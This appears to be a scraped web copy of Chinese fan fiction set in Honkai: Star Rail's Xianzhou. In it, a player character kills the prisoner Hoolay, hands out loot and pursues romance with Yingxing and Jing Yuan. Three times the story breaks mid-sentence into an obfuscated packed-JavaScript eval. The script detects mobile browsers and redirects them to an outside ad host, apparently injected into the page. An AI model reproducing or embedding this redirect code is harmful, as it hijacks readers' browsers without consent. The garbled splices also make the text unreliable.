《[星铁]仙舟人生模拟器》 1. 共通线(01) 【你已击败[呼雷]】 伴随着焦灼的臭烤肉味和高分贝的怒吼,鹤鸢面前的BOSS倒下。 尸体上出现三个金色的光点和若干白色亮光。 鹤鸢伸手轻点,光点全部聚集,被他收入手掌,存进系统背包。 【奖励结算中……】 金币掉落的声音在耳边响起,鹤鸢长舒一口气。 终于…… 终于把这个难缠的BOSS打掉了! 要不是有论坛的攻略,他根本无法完成这个壮举。 前几天是他游戏中二十岁生日。 这次生日后,会更新一个名为[幽囚狱]的高难度地图以及其中驻守的BOSS[呼雷]。 游戏中的高难度地图是固定的,论坛有专门攻略,鹤鸢就看了看。 一看就开始焦虑。 【攻略】【关于地图[幽囚狱]的BOSS[呼雷],有以下几个注意点。】 楼主:每次都有新人属性够了打算去刷[呼雷],好不容易混进幽囚狱了,结果BOSS不在,专门开个贴说一下。 第一,呼雷第一次出现是随机的,一般会在[事件]中刷出,各位一定一定要注意年份!呼雷是会被不定期转移的,目前最低年份是[十年]。 各个仙舟之间虽然有固定交流,但是正常人很难前往别得仙舟,一般要经历很长的审核流程,二十岁之前的玩家连职业线都没开,基本没有“特权”。 所以尽量在刷出来的时候打掉,和NPC组队、奖励少点也无所谓,五星道具是固定掉落!!! 第二,呼雷的种族是步离人,属于丰饶民中的一支,他有十管血,最后还能复活一次三管血,打得时候多备点蓝药,或者捞个能回蓝的NPC。 另外,他物抗很高,记得去洗技能点一下目前法术伤害最高的[天雷术],对自己走位有自信的,可以开[嗜血]加伤害。 第三,记得多做点机关布置到路上,不用职业专精的水平。 如果你拉的NPC里头没有官方人员,那么半个小时候,官方的最强队伍就会出现在幽囚狱逮捕你。 毕竟这地方是不允许擅入的,[黑客]技能够的话也可以黑监控,但逃不过官方队伍的搜捕。 幽囚狱的地图可以看这个贴【高难地图大全】,离开不要走三号线和四号线就行,这俩遇到人的概率基本是百分百,其它三条看运气。 最后,这游戏没什么BOSS是必须要打的,不用太焦虑。 #1:看到这个标题,又想起我好不容易打听到消息去了朱明,结果[呼雷]已经被转移曜青的血泪史。 #2:谁有我惨,我这边的呼雷直接剧情杀了,消息一点都打听不到。 #3:我当时玩的菜刀流,含泪花钱洗点,最后扯上四个NPC过了。 #4:想起我打完后出来,和游戏里好友大眼瞪小眼的场面…… 鹤鸢刚刚打开贴子打算感谢一下,就发现自己好像…走到了四号线上。 他放下内置论坛的玉兆,和面前的景元对视。 不知怎得,他觉得景元似乎并不惊讶。 “好巧啊,你也睡不着来散步吗?”鹤鸢对面前的骁卫露出一个笑容。 如果忽略此时的地点,只看表情和语气,景元真以为自己是和鹤鸢碰巧遇上,立刻能开展一场夜晚谈心。 他瞥了眼鹤鸢身上的血迹和远处伏在地上的呼雷,怒即反笑:“你散步散到幽囚狱?” “怎么不说自己是半夜睡不着来找呼雷谈心呢?” 要不是你一点消息都不肯透露,我至于这样偷偷摸摸吗!鹤鸢心里吐槽。 他本来不着急的。 眼前的景元,是鹤鸢游戏中一起长大的竹马,目前在神策府当骁卫,基本是铁板钉钉的下一任将军。 鹤鸢想着,他要是想打的话,直接去问景元,再给他开个加急通道就好了。 毕竟是满好感的心动状态,总不能一点消息都不透露吧。 然后昨天去问了一下。 现任神策将军腾骁目光如炬,没看错人。景元那嘴和钢铁似的,什么都撬不出来,鹤鸢自己的目的倒是要被套的一干二净了。 耻辱啊耻辱! 鹤鸢耻辱地读了挡,重新套话。 试了五六次也没成功后,他放弃了。 他连夜研读攻略,当晚就钻进幽囚狱开打。 感谢自己前十五年的肝帝行为! 鹤鸢的属性竟然超出不少,是可以单刷的水平。 “……我说我梦游你信吗?”鹤鸢开始扯皮。 景元盯着他:“你觉得我会信这个理由?” “小时候天天一起睡,你会不会梦游,我比你清楚。” 每晚睡得和死了一样,还梦游? 鹤鸢理直气壮,转移话题:“我又没做错什么事,呼雷难道还不该死吗?” 游戏中能击杀的BOSS,基本属于罪恶阵营,手上都有不少人命。 被判定为和善或中立阵营的,那叫挑战。 景元想跟他说一下事情的严重性,但鹤鸢没听,直接读档了。 哎嘿! 幸好他机智,在打完后就存了个档! 这一回离开,鹤鸢没碰上人,顺顺利利的走出幽囚狱,换好衣服混入前来抓捕闯入者的官方队伍中。 他从身后勾住景元的脖子,极其自然道:“怎么没等我?” 景元似笑非笑地看他,看得鹤鸢以为景元有刚刚存档的记忆。 骁卫从兜里掏出了一把钥匙,是鹤鸢家的。 他凑近了点,“我去过你房间了,里面没人。” 鹤鸢:…… 失策了!!! 他怎么忘了,景元和他换过家里的钥匙! 难怪刚刚不惊讶! 鹤鸢的手一僵,立刻从景元的脖子上拿下,却在擦过手臂时被一把抓住。 “刚刚在腾骁将军那边帮你遮掩了,”景元顿了顿,咬牙切齿道:“你最好没做什么过分的事!” ……那不好意思呢。 他已经把最过分的事情给做了。 再次进入幽囚狱,腾骁并不惊讶于他的到来,只是正常地让他们分组,每个组负责一层的搜查和抓捕。 镇压后,会有十王司人员专门清点。 鹤鸢忽略景元的眼神,反手拽着应星去了负三层。 应星不会抢他的DPS,还会给他辅助,奖励都是他的! 景元丹枫每回都要和他搞竞赛,奖励都少了! 至于别得事情……到时候再说呗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147603|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>反正玩家总有理由的。 鹤鸢无视上述人的欲言又止,扯上应星就往下跳。 应星无奈地开上金人,召唤金鱼。 里头传来沉稳又郁闷的声音:“下次别突然抱过来……” 鹤鸢点头。 ——下次还敢。 反正都不扣好感度,所以你一定很喜欢。 他跳上金人的手掌,仿佛自己在开高达一样用法术攻击到处轰。 一时间,碎石飞裂,尘埃满目。 找应星还有个好处是——跑图速度变快了! 鹤鸢兴冲冲地开启无双割草模式,只要没安安分分呆在牢狱里的,全都被他一通乱轰。 所到之处,弥漫着一股相似的烤肉味。 透过金人的观察窗,应星凝视着掌上青年的身姿。 那是他喜爱的人。 鲜活妍丽、明艳动人。 长生种的优势在他身上发挥的淋漓尽致。 鹤鸢不像应星从前看到的长生种那样悠闲散漫,反而同短生种一般抓住每时每刻的时间提升自己。 可以预见,当未来久远的时间在他身上沉淀时,会成长为如何可怕的存在。 只可惜,应星无缘见到了。 与应星这副带着短生种缺陷的身体完全不一样。 他已三十岁,即将步入短生种的中年,青年却堪堪成年。 十岁的年龄差距放在短生种中是罪恶,在长生种中却不是。 可应星不是长生种。 曾经的他不以为意,可如今…竟生出了那样可怕的心思。 这是不对的。 如果他做了这些事,只会拉开他与鹤鸢的距离。 他不该用自己的寿命去索求什么。 那些肮脏的心思如心底的污泥,只能用看似清澈的溪水掩盖。 有人敲了敲观察窗。 应星抬眼,与蓝紫色的眼瞳对视。 他稍稍偏移视线,“怎么了?” 青年兴致勃勃地声音传来,“这层打完了,我们先溜怎么样?” 鹤鸢神神秘秘地说:“我带你去个地方,有好东西要给你。” 刚刚的战利品里面,有个东西他得交给应星。 ——【★★★★★道具·呼雷的爪牙:前任战首尸体上最坚硬的部分,可用于锻造,为武器增加附魔效果。】 职业线还没开启的鹤鸢想要武器,要么去系统商店买,要么找NPC锻造。 系统商店里的只能用来过渡,肯定没有锻造的上限高。 按照论坛攻略,玩家将[匠作]方面的职业经验刷满后,锻造出来的武器会比材料高两个星级。 一个星级就是10%的差距。 而NPC中也有人能做到,只要打好关系就能“免费”锻造,主要用来给未选这一线路的玩家提供武器。 毕竟这是个宇宙大繁荣的背景,科技发达,危机也无处不在。 论坛所有攻略都建议新人不要放弃战力的提升,不然哪天星际旅游一下就成炮灰了。 看着那双眼,应星不由自主地点头。 鹤鸢又敲了敲观察窗,“去吗?” 应星有些庆幸,单向的观察窗能掩盖他此刻丑陋的表情。 “好。” 他说。 2. 共通线(02) 离开幽囚狱时,应星就收了金人,任由鹤鸢拉着他的手在空无一人的大街上奔跑。 风声穿过耳膜,掩盖蓬勃的心跳。 来到罗浮工造司的一处房顶上,鹤鸢拽着应星坐下,将一个草率的包裹丢进男人怀中。 应星疑惑:“今天是什么特别的日子?” 在他的印象中,只有各种节日和自己生日的时候,鹤鸢才会送礼物。 而且包装都很漂亮,有自己的特色,不像手上这个破旧随意。 鹤鸢没回答,只说:“你打开看看。” 应星几下就打开,看到被厚布包裹着的东西时,完全掩饰不了自己的惊讶。 这是、这是步离人战首的爪牙,是难得的锻造材料。 最近有战首被俘获吗? 应星仔细观察,细节与某个应当在幽囚狱里吃牢饭的战首一一对应。 “……” 步离人是宇宙中很特殊的种族,他们本人不死时,身上最坚硬的爪牙是无法取下的。 他犹疑地开口:“刚刚擅闯幽囚狱的人是你,你杀了呼雷?” 说出口后,应星立刻确定了自己的想法,把厚布包起来,握住鹤鸢的手,“还有没有别人知道?监控毁了没?还有…还有——” “除了该知道的人,不会有人知道。”鹤鸢打断他的话,让他放心。 应星稍稍松口气,加重语气,“你太冲动了!” 这件事大可以跟他们商量一下,做得干干净净,没有人能指摘。 现在这样闹大,估计很难收场。 “下次不会了。” ——下次还这么干,他才不给人分奖励的机会。 应星无奈:“你怎么突然要去杀他了。” 倒不是该杀不该杀的问题,只是事发突然,他完全没反应过来。 鹤鸢答非所问:“他不该杀吗?” 呼雷都亮血条了,还掉落三个极品五星道具,谁能忍住不杀啊? 而且呼雷在设定中,还是个吃人.肉喝狐人血的BOSS,玩家杀他完全没心理负担。 好人角色的话,游戏会设定成不会死亡的挑战。 应星:“……我问得不是这个问题,我就是觉得有点突然了。” ——不是有点,是非常。 鹤鸢静静地看着他,拿出一把匕首,亮出刀刃。 上面还残留着血液,与厚布中的爪牙同出一处。 “应星哥,我用你为我打造的武器杀了他。” 蓦然间,天地中只剩下应星无法缓和下来的心跳,汹涌澎湃到他无法面对。 作为与仙舟格格不入的短生种人类,应星曾经的家乡毁于步离人的入侵。 那只部落,正是归当时的战首呼雷掌管。 他本已经被送到一个和平的星球生活,但为了复仇,应星来到仙舟,靠自己的天赋与努力留下,走到现在的位置。 ——仙舟联盟历史上的第一个短生种百冶,是所有工匠中最强的存在。 他研究武器,精进技艺,不断装备云骑军,夺下无数步离人的性命。 鹤鸢拿出他锻造的刀刃击杀呼雷,无疑是告诉他—— “你复仇成功了。” 作为短生种的应星再怎么努力,也无法同步离人.肉搏对战,只能靠迂回的方法。 现在,他的努力换来了成功。 鹤鸢支着下巴,观察应星喜悦与复杂具备的表情。 很漂亮啊,不愧为系统认定的仅次于玩家之下的【99】外貌值。 唯一可惜的地方,也只有短生种的身份了。 寿命会让这样俊美的外貌迅速凋零。 鹤鸢说的是实话。 大部分血条都是用天雷术轰炸的,只有最后一击用得匕首。 光用匕首磨的话,估计要打个天昏地暗。 虽说鹤鸢的初始目的是为了道具和图鉴,但嘴长在他身上,亲身经历的也只有他,自然是想怎么说就怎么说。 他说得也不算是谎话。 “应星哥,收下吧。” 意识回笼,应星侧目看向青年,正对上蓝紫色的眼眸。 只见他极其理所当然地说:“最好的工匠,当然要最好的材料才能配上。” “这样锻造出来的武器,才能配得上我这个未来的天下第一。” 应星的瞳孔伸缩,轻轻“嗯”了一声。 他有点不敢看青年的眼睛,却又忍不住被吸引。 那双眼眸灿如星辰,将这漫天星子都压了下去,就如鹤鸢这个人一般,耀眼到再也看不见其他人。 如此狂妄,如此自信。 但应星知道,鹤鸢确实做得到。 他的时间还有很长,长到他能成长到极为恐怖的程度,令所有人无法追赶。 可惜应星大概见不到了。 他说:“我会好好使用的。” 不论是从什么角度,应星都没有拒绝的理由。 短生种的寿命有限,可短生种打造的武器,却能以另一种方式永远陪在心上人身边,直至对方生命的尽头。 将材料托付给能把品质提升两个大等级的应星,鹤鸢的心情很不错。 他放松地躺在房顶上,任由身下的瓦片作响。 在这咯吱的声音中,鹤鸢的手指勾上了应星身后的红色飘带。 “这是工造司的制服么?真好看。” 应星感觉身后的布料在收紧,绷紧了脊背,经过千锤百炼的背肌被完全凸显。 工造司的制服以红黑配色为主,应星这身纯黑搭暗蓝色花纹的衣服,算是百冶的标配。 毕竟是第一名,总归要不一样的。 “……工造司制服不长这样。”应星说着,向后伸手,拿开鹤鸢还在扯飘带的手。 粗粝的指节划过细腻的皮肉,留下淡淡的浅色。 如蜻蜓点水。 鹤鸢似乎有些失望:“啊……我还想报工造司干干,领个制服回去穿呢。” 免费获取的时装总是要花点时间,有收集癖的鹤鸢不会允许自己错过任何一件。 要来工造司……? 应星的心底生出一股难以压制的喜悦。 他不愿奢求太多,但若是能日日见到心上人……于他而言已是莫大的幸运。 这几日,鹤鸢临近开启职业线的时间,罗浮的各个部门全都找过他。 话里话外,都是能给最好的待遇,最快的升职速度,只要来干,一切都好说。 作为工造司的百冶,应星自然也是跟着部门里的人员去了。 当时还同代表云骑军来的镜流、代表天舶司来的白珩、代表丹鼎司来的丹枫、代表神策府来的景元碰上。 ——十王司也来了,只是…… 场面瞬间变成了内部聚会,分两桌一起吃了顿火锅。 最后鹤鸢没给确切的回答,只说自己再想想。 众人纷纷表示理解。 天才总是会因为一切唾手可得,反而不清楚自己到底想做什么。 应星思来想去,觉得这是个好机会。 鹤鸢最终可能会在各个部门干一遍,工造司迟早会轮到。 关键在于,应星等不了那么久。 寿命是永远无法搬走的大山。 “你若是来工造司,我能以我的名义帮你订做一件,”应星还是坐着,没让鹤鸢看到他的紧张,“反正你迟早都会拿到的。” “女款也可以么?”鹤鸢突然问。 应星:“……?” 他转过头,表情疑惑:“什么?” 鹤鸢正色:“我要两件,男款女款都要,工造司的制服我也要追加一件女款。” 不管男款女款,只要是衣服都能穿,他当然全都要。 旖旎的心情被吹得一干二净,应星无奈一笑,“可以。你记得把尺码给我就好。” 果然是鹤鸢。 他总是擅长用自己的性格把暧昧吹得干干净净。 应星自然是有过想法的,只是那想法来的快,去的也快。 他并非什么都不懂,也清楚即便强行在一起,最后也不会有什么好结果。 人这一生,他已走到了某个领域的极致,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147604|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要完成一直以来的愿望,还有了喜爱的人。 不算白来了。 应星将自己的想法藏得很好,但还是会在某些时候泄露一二。 至少…他的朋友们应当都知道了。 除了眼前这位。 看鹤鸢毫不避嫌、无法无天的姿态,恐怕什么都没看出来。 鹤鸢老早就看出来了。 那好感度明晃晃地摆着,早将应星的想法透露得干干净净。 ……好像可以谈恋爱了。 仙舟罗浮规定,不论男女,二十一岁并通过成年考核后才可提交结婚申请。 鹤鸢游戏里二十岁,打算先找个人谈恋爱,等二十一岁去结婚,刷一刷婚后的剧情。 也是图鉴的一环。 至于恋爱对象嘛…他昨天给目前可以恋爱的三个人编号,用骰子决定了。 结果是应星。 鹤鸢跃跃欲试,这回去抓了应星的手指。 “应星哥,你谈过恋爱嘛?” 清润的嗓音从身后传来。 应星身体僵硬,干巴巴地回答:“没有。” 掩饰好眼中的苦涩后,他假装自然地躺下,若无其事道:“你想谈恋爱了?” 鹤鸢应了一声,“是有这个想法,但不知道怎么做。” “怎么突然想谈恋爱了?” 应星不着痕迹地问,大脑迅速转动,思考鹤鸢是什么时候有了这个想法。 他没想和鹤鸢谈恋爱,但是要帮忙把把关。 他没谈过恋爱,但阅历比鹤鸢要多点,得防着有人骗鹤鸢。 他…… 好吧,他就是…有点不想鹤鸢谈恋爱。 应星知道自己不该有这样过分的想法,可人的情感是最大的不稳定因素。 一想到鹤鸢会在未来和旁人牵手、拥抱、接吻,甚至是…… 应星无比嫉妒。 “应星哥?应星哥!” 鹤鸢转过身,另一只没抓住的手在男人眼前摇晃。 应星这才发觉,自己在不知不觉间抓紧了鹤鸢刚刚凑上来的手。 他慌乱松开手,假装随口说:“你还年轻,不用着急这件事。” “随便谈谈也不行吗?”鹤鸢凑上来问,“我就是有点好奇,谈恋爱是什么感觉。” 应星屏住呼吸,生怕自己泄露出一丝不好的情绪。 他移开视线,“那、那也不能太随便了,万一被人耍了或者骗了……” 此乃胡话。 光看鹤鸢在短时间内击杀呼雷的战斗力,就没人敢骗他。 至于戏耍。从小到大,也只有鹤鸢戏耍别人的份。 鹤鸢闷闷地笑,“应星哥,你当我是小孩子吗?” 应星刚想说不是,就看见青年一脸狡黠地拽住他背后露出来的红飘带。 “不放心的话,应星哥来帮我把关怎么样?” 或者说—— 【你来和我谈。】 【你来帮我体验。】 还没到说这句话的时候。 像是被一块巨石破开的冰面,应星完全掩藏不住自己过于明显的心跳。 而始作俑者还一脸无辜地看着他,等着他的回答。 应星又一次拉开鹤鸢拽着飘带的手,“咳…别抓了。” 再拽下去,他觉得自己的衣服要撑不住了。 鹤鸢不抓了,但他还等着应星的回答。 应星被他看得几乎想落荒而逃。 “我会抽出时间来的。” 经过短暂的、没那么激烈的挣.扎,应星还是答应了。 他决定全方位无死角的对那些备选人员挑刺,争取不让鹤鸢谈上。 应星实在无法消解自己的私心。 他告诉自己,如果鹤鸢真的遇上了可以匹配的人,一定要放手。 鹤鸢立刻说:“那今天下午,咱们不夜侯那边见!” 应星:“???” “你什么时候找的人?” 鹤鸢露出腕上的玉兆,“算是昨天吧。” 现在已经过零点了呢。 3. 共通线(03) 腾骁清理完负责区域,来到一层会和时,发现还有两个人没来。 "鹤鸢呢?他不都是最快的吗?"腾骁问。 景元无声叹气,“他拉着应星哥跑了。” 丹枫沉默不语,看着击云的目光泛冷。 这是应星为他打造的武器。 腾骁:“……哈哈,这样啊。” 他看向白珩。 白珩耸耸肩,“行了行了,赶紧把事情做完,各回各家,各找要找的人。” 镜流点头赞同。 事情的收尾还算顺利。 擅闯的人没找到,但好在没什么伤亡,逃窜的囚犯也没跑出去,一切似乎和没被闯入一样。 “但…呼雷死了,”腾骁面色凝重,“按照之前抓住呼雷时的约定,每隔百年,各个仙舟都要派人前来检查。” 现在没了,其余仙舟省了脚程,少了个心腹大患,但罗浮仙舟一定会被安上一个办事不利的名头。 同时,幽囚狱也将迎来洗牌和升级,多处引发动荡。 这是腾骁不愿意看到的。 他的时日无多,只想安安稳稳地将位置传到下一任手中。 但不稳定因素还太年轻了,没人能管束。 白珩:“呼雷身上有多处雷击灼烧的痕迹,同时,他的首级和极为重要的[赤月]心脏不见,以及一些坚硬锋利的部分也都不在了。” 腾骁抽了抽眉毛:“看来这位凶手是将呼雷扒了个彻底。” 倒是很像某人的作风。 他看向白珩:“这件事暂时不要传出去,免得引发狐人恐慌。” “另外,将呼雷的尸首保存好,我带去虚陵,给元帅一个交代。” 镜流要说些什么,被腾骁制止,“这件事只能我来做。” 安排好各人后,腾骁留下景元,深深叹了口气。 “景元,鹤鸢那边交给你了,”他严肃地说,“若一柄利刃在对准敌方时又会对准自身,记得提前做好准备。” 虽说按照腾骁的经验,鹤鸢应该不会将利刃对准罗浮仙舟。 他看人还是很准的。 这些年,鹤鸢干的事都惊天动地、无法无天,但从最终结果看,都是有利于罗浮仙舟,甚至有利于整个仙舟联盟。 一次两次是巧合,多次就不是了。 太卜司那边,腾骁也去问过,现任太卜只给了个“大吉”。 穷观阵也觉得没问题,那基本能放心了。 腾骁这么对景元说,是希望他的接.班人不要过于溺爱了。 ——这几年他心梗的次数都变多了,就是寿命莫名其妙的延长了。 丹鼎司的医士对此感到不可思议。 “……”景元低着头说,“好。” 他迈着沉重的脚步回到家,一粒石子打在他的脚边。 黑色短发的青年坐在墙头,摇晃着小腿,正笑盈盈地看他。 “你没有什么想说的吗?”景元喉咙干涩,几乎是沙哑的声线问。 他知道鹤鸢一向无法无天,从没有人能管束住对方,但他没想到…会闹到这种程度。 青年歪歪头,向景元抛掷一个小小的包裹。 里头是还在蠕动的、鲜红的肉块。 ——【★★★★★道具·[赤月]心脏:成为战首的步离人需要吞下此物,用于狂化族人与狐人(月狂)。】 ——装备效果:暴击效果提升50%;可狂化狐人与步离人(月狂)。 “赤月也被我炸干净了,厉害吧?” 话音刚落,刚刚还在跳动的肉块就没了声息,化为一滩血水,被厚实的布吸收。 鹤鸢打了个响指,布条从景元手上飞走,在空气中烧得一干二净。 “你为什么要这么做?”景元声线平静,仿若暗潮汹涌的湖面。 “为什么……?” 他答道:“没有为什么。” “真要说的话,你们不是一直为此而担心,担心他们在某天卷土重来吗?” 现在他把首领打死,他们就要重新选出首领,还少了能够统御狂化的[赤月],那不是一件好事吗? 至少五十年,他们都无法拧成一股绳来犯。 鹤鸢当然没想那么多,他就是想满探索收集道具而已。 五星道具从进入背包的那一刻起,图鉴已经点亮了,该怎么处理全看他心情。 他不缺这50%的暴击效果,也对狂化步离人没兴趣。 ——要是长得好看点,他说不准会留下。但都长得这么抱歉了,那还是毁了吧。 况且步离人以武力为尊,鹤鸢能打死呼雷,还愁打不服步离人? 到时候全都发配去种地,不许污染他的眼睛! 当然,最重要的原因是—— 景元看起来真的要哭了,还是赶紧想个理由哄哄他吧。 悲伤小猫难过到连那头蓬松的白毛都黯淡了,这是鹤鸢不愿意看到的。 青年自墙头跳下,轻移脚步,走到景元面前。 “是觉得我没叫上你,所以……伤心了?” 精致的面庞凑近,占据景元的眼眶。 目之所及,只剩大片的蓝紫色。 “那我下次一定选你好不好?” ……就这样沉醉其中吧。 过于危险的想法令景元收了心神。 “你要是有办法,大可以上报将军,再交由元帅定夺……” “那太慢了。” 青年打断他的话,“存在一天,就会多一份变数。” “你想看到白珩姐陷入[月狂]吗?”鹤鸢问。 呼雷在幽囚狱也不安全,一想到每隔一段时间还要有人来唧唧歪歪,鹤鸢就烦。 一了百了不好吗? 景元艰难开口:“鹤鸢,下次做这些事之前,能不能先通知一声?” 他太清楚自己这位竹马的性格。 一旦认定要做的事情,谁都没法阻挡。 更可怕的是,没有人能够拦住他的步伐。 ——只要不会对准仙舟、甚至只是罗浮就好。 景元想。 青年又走进几步,黑色的发丝扫过景元的鼻尖。 “可以哦。” 他凑得很近,近的景元能听见他的轻笑,能看清他的每一寸肌肤和飘荡的发丝,馥郁的气息窜进鼻尖。 “未来的景元将军都这么说了,我肯定要答应呀。” 足够了。 景元收拾好心情,“你和应星哥去做什么了?” 话题跳跃的过快,让鹤鸢稍稍愣神了一下。 景元弯起嘴角。 “当然是去做一些…成年人能做的事情。”青年语焉不详。 他只是带应星去工造司的一处角落看星星,又把多出来的锻造材料塞了几个而已。 看星星和送礼物,怎么不算成年人能做的事情呢? 这回换景元愣住了。 他张了张嘴,犹疑地问:“这么快么?” 鹤鸢无辜地眨眼,“看星星当然快。” 随便谈心一下,花不了多少时间。 景元沉默。 鹤鸢好奇地伸手点了点他的眼角。 “景元,你哭了欸~” “你给我走开。” 还未完全成长的未来神策将军一脸羞恼。 “你让我走我就走,那我不是很没面子?”鹤鸢跟着景元的脚步,一路缠进房间,“今晚我还就不走了!” 他熟门熟路地找到自己的睡衣,堂而皇之地进了浴室。 景元:“……” 他想叹气,但不知为什么叹气。 是因为看似亲密十五年、实则从没走进竹马的心,还是因为……竹马与旁人的过分亲密。 浴室的磨砂门沾上水汽,朦胧地映出里头绰约的身姿。 景元揉了揉额头,给腾骁发消息。 [景元]:赤月已摧毁。 [腾骁]:收到。 鹤鸢虽然嘴上花花,还无法无天的做了一堆惊天动地的事情。 但他不会骗人。 说是没了,那就是没了。 他斟酌着用词,又发送:[另外,他对罗浮没有恶意。] [景元]:呼雷是个隐患,他觉得死了才最安稳。 [腾骁]:……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147605|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [腾骁]:随便你,反正以后心梗的不是我。 景元关掉玉兆,靠在床头神游。 心梗倒不是什么问题。 关键在于,小小的罗浮无法满足鹤鸢。 景元一直知道,他的竹马喜欢新奇刺.激的事物。 若一个地方没有鹤鸢感兴趣的东西,那他不会踏入第二次。 就像小时候景元给鹤鸢打掩护,让他去探索鳞渊镜一样。 也是那一次,他们认识了丹枫。 但后来呢? 鹤鸢几乎不再踏足鳞渊镜,每回都是丹枫出来找人。 新奇的地点是这样,新奇的人……也是这样。 除了最开始的积极见面,后面什么都不剩,有时候找人还会被躲过去。 一滴水落在景元额头,打断他的思绪。 鹤鸢湿着头发出来,身上的睡衣被水洇湿,扣子只系了两个,露出大半白皙胸膛。 景元抬眼看了看,移开视线,“吹风机还在老地方。” 鹤鸢没动,反而凑近来,“你给我吹呗?” 朦胧的月光下,鸢尾色的眼瞳中似乎多了点别样的情感。 惯用的沐浴露香气在鹤鸢身上浮动,惊起一片涟漪。 景元上手推开鹤鸢的脸,硬邦邦地说:“我也要洗漱,你自己吹。” 鹤鸢蹭了蹭景元的手,眼睛亮晶晶地看着他,“真的不帮我吗?” 真的会有人拒绝吗? 景元无声应下,从抽屉里拿出吹风机。 如从前的许多次那样,他帮鹤鸢吹干头发。 带着粗茧的指节在头皮上按压,偶尔划过泛红的耳根。细腻白皙的后颈在视线中一览无遗,空气逐渐升温。 好在吹风机的功率很大,鹤鸢的头发又不长,几分钟就结束。 但也仅仅是几分钟,就让室内多了一丝暗香浮动。 鹤鸢仰起头,与景元对视。 或许是吹风机的热度过高,青年裸.露出来的肌肤泛着大片的粉色,像是薄薄肌肤下的血液涌上来一般。 景元目不斜视,将吹风机收好。 鹤鸢看着他的背影笑,理直气壮地躺上景元的床。 他的身子深陷于景元的床褥中,配合着身上的沐浴露芳香,侧着脸去看还穿着甲胄的骁卫。 小臂搭在床边垂下,手指勾起。偏长的黑色短发盖住半张脸,剩下一半的眉眼如手指般,直勾勾地看向景元的方向。 景元回避他的视线,匆匆褪下盔甲,进了浴室。 鹤鸢轻轻笑了一声。 他在景元的床上滚了一圈,先一步缩进被子里。 这张床上一直有两床被子、两个枕头,鹤鸢家里的房间也是如此。 游戏的前十五个年头,他和景元一起长大,经常去对方家里睡一晚。 今晚本该也是一如往常。 “我想结婚了。” 景元从浴室出来时,鹤鸢对他说了这句话。 “别想了,你还没到年龄。” 罗浮仙舟官方规定,不论男女,二十一岁并且成年后才能结婚。 景元提醒鹤鸢,他的年龄还不够,顺手关了灯上.床。 鹤鸢无所谓:“等一年而已,我可以先找人谈个恋爱。” 他转头看向躺在身边的景元,问道:“对了,我明天要跟一个人约会,应星哥也会来,你要不要一起?” 枕边人呼吸一滞,缓缓吐息后才说:“你的意思是…我和应星哥一起去看你约会?” 什么情况?应星哥不是喜欢鹤鸢吗,怎么会答应这种请求? ……他也想答应。 或者说,他想去搞破坏。 这世上能配得上鹤鸢的人,不可能岌岌无名。 有点理解应星哥了。 鹤鸢似乎不觉得这是什么大事,“对啊,不过只是约会,我还没想好要不要和他谈。” 一定谈不了的。 黑暗中,景元目光锐利,“要不问问丹枫哥?” 鹤鸢赞成他的提议,“有道理,我去给他留言。” 消息刚刚发出去,丹枫就回复:[可以。] 4. 共通线(04) 这天零点后才入睡,景元还想稍微赖床,却在六点左右听到身边有响动。 鹤鸢起来了。 从认识的那一天起,不论前一晚什么时候睡觉,鹤鸢永远会在六点起床。 拥有行动能力后,更是每天不间断的安排时间锻炼,从未休息过。 景元艰难地睁眼,把自己埋进被子里。 不一会儿,鹤鸢就穿好衣物。 他站在床边,端详景元的睡颜,伸手,给景元的头发来了个改造。 猫咪就要有猫咪的样子! 小时候见到景元的第一眼,鹤鸢就想这么干了。 就在他快要扎出两个猫耳时,景元睁开眼,手臂从被窝里伸出来,一把将鹤鸢重新拉到床上。 看着松散的头发,鹤鸢心中哀嚎。 就差一点点!!! 他被景元拽回侧躺的位置,靠近墙壁,和对方面对面。 面对云骑骁卫审视的金瞳,鹤鸢没有半点心虚,再度伸手尝试。 然后被制裁。 但鹤鸢也不是吃素的,立刻在床上和景元扭打起来。 他先一步动弹还算自由的双腿,腰腹发力,翻身坐在景元身上。 居高临下地视角还算不赖。 鹤鸢大.腿发力,隔着被子夹紧身下的躯体,小腿绷直,死死压着床褥,留下一道深痕。 他的双手虽然还被握着,但已是一副胜券在握的姿态。 景元半阖着眼,手一点没松,将鹤鸢往自己这边拉了一把。 绷紧身体的青年瞬间塌下腰来,挺起的胸腹倒在景元身上,头发埋入颈窝。 好不容易凹好造型的鹤鸢:…… 立刻换动作、用手臂环住青年腰腹的景元:^-^ 能当云骑骁卫、甚至要成为神策将军的人,景元的武力与力量自然不会太差。 鹤鸢的腰腹力量不错,但也逃不过这八爪鱼一样困住他的姿势。 更何况,景元的腿还和他的腿纠结到一起了。 